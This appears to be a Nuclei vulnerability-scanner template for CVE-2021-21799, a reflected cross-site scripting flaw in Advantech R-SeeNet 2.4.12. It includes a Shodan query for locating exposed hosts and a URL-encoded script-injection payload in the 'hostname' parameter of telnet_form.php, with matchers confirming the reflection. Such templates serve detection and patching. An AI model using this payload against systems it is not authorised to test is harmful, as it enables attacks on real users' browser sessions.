id: CVE-2021-21799

info:
  name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the telnet_form.php script functionality.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to mitigate the XSS vulnerability in R-SeeNet 2.4.12.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21799
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21799
    cwe-id: CWE-79
    epss-score: 0.83144
    epss-percentile: 0.98109
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query: http.html:"R-SeeNet"
  tags: cve,cve2021,xss,r-seenet

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Telnet </title><script>alert(document.domain)</script><title></title>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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